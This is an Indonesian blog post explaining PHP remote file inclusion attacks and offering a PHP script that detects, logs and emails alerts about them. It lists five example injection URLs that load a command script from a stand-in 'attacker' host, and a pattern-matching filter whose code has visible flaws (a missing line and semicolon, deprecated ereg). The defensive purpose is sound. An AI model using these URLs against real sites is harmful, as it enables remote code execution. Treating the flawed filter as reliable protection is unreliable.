Serangan web dewasa ini semakin banyak memanfaatkan vulnerabillity pada script PHP, yaitu saat seorang programmer tidak
melakukan sanitasi input pada script yang dia buat, disaat register_globals ON dan allow_fopen_url maka seorang attacker
dapat melakukan injeksi pada script PHP yang vulnerable secara remote.
Caranya yaitu dengan mengeksekusi script vulnerable dengan meng-inject melalui url dari server attacker yang telah berisi
script untuk melakukan exploitasi.
Dampak ini dapat dihilangkan dengan men-set register_globals OFF, tetapi cara ini kurang effektif karena banyak aplikasi
third party yang mengharuskan register_globals ON.
Better Solutions
``````````````````
Teknik-teknik PHP Injection yang sering digunakan oleh attacker :
1. www.target.com/main.php?r=http://attacker/cmd.jpg?&cmd=
2. www.target.com/main.php?r=http://attacker/cmd.gif&cmd=
3. www.target.com/main.php?r=http://attacker/cmd.txt\&cmd=
4. www.target.com/main.php?r=http://attacker/cmd.txt&cmd=
5. www.target.com/main.php?r=http://attacker/cmd.jpg?cmd=
dengan melihat url tersebut kita dapat mengambil kesimpulan bahwa :
1. attacker menyimpan script inject dalam bentuk extension jpg, gif, dan txt
2. attacker menggunakan variabel cmd untuk injection
3. attacker menggunakan beberapa kombinasi penghubung
Berdasarkan hal tersebut kita dapat membuat sebuah script sederhana untuk mensanitasi bentuk url yang dicurigai sebagai
bentuk PHP Injection, serta melakukan logging terhadap aktifitas dari attacker.
Ok...to the point, this the script :
sertakan script ini pada file konfigurasi aplikasi kita.
(modifikasi script/referensi dari internet via uncle google)
2.
3. if (
4. ereg('gif\?cmd',$_SERVER['REQUEST_URI']) ||
5. ereg('gif&cmd',$_SERVER['REQUEST_URI']) ||
6. ereg('jpg\?cmd',$_SERVER['REQUEST_URI']) ||
7. ereg('jpg&cmd',$_SERVER['REQUEST_URI']) ||
8. ereg('txt?cmd',$_SERVER['REQUEST_URI']) ||
9. ereg('txt&cmd',$_SERVER['REQUEST_URI']) ||
10.
11. ereg('gif\?',$_SERVER['REQUEST_URI']) ||
12. ereg('gif&',$_SERVER['REQUEST_URI']) ||
13. ereg('jpg\?',$_SERVER['REQUEST_URI']) ||
14. ereg('jpg&',$_SERVER['REQUEST_URI']) ||
15. ereg('txt?',$_SERVER['REQUEST_URI']) ||
16. ereg('txt&',$_SERVER['REQUEST_URI'])
17.
18. )
19. {
20. // bagian untuk mencatat aktifitas hacking
21. // dan mengirimkan email pada administrator
22.
23. $ip = $_SERVER['REMOTE_ADDR'];
24. $date = date("m/d/Y g:i:s a");
25. $referer = $_SERVER['HTTP_REFERER'];
26. $uri = $_SERVER['REQUEST_URI']
27.
28. $fl = fopen('log.txt', 'a');
29. fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$uri."\n");
30. fclose($fl);
31. $msg = "Terdapat percobaan hacking pada server ".$_SERVER['REMOTE_ADDR']."
mencoba untuk mengeksekusi ".$_SERVER['REQUEST_URI'];
32. mail(' anstellwinkel@yahoo.com.auanstellwinkel@yahoo.com.au' ,'Percobaan hacking pada '.$_SERVER['REQUEST_URI'],$msg);
33. die('Silahkan hentikan percobaan anda!');
34. }
35.
36. ?>
penjelasan :
Baris 1 - 16 --> apabila ditemukan pola tersebut pada url maka script ini akan dieksekusi
Baris 23 - 30 --> mencatat IP address, tanggal, referer dan url yang digunakan oleh attacker serta mencatatnya pada
file log.txt
Baris 31 - 33 --> Mengirim semua aktifitas hacking ke email administrator
Tidak ada komentar:
Posting Komentar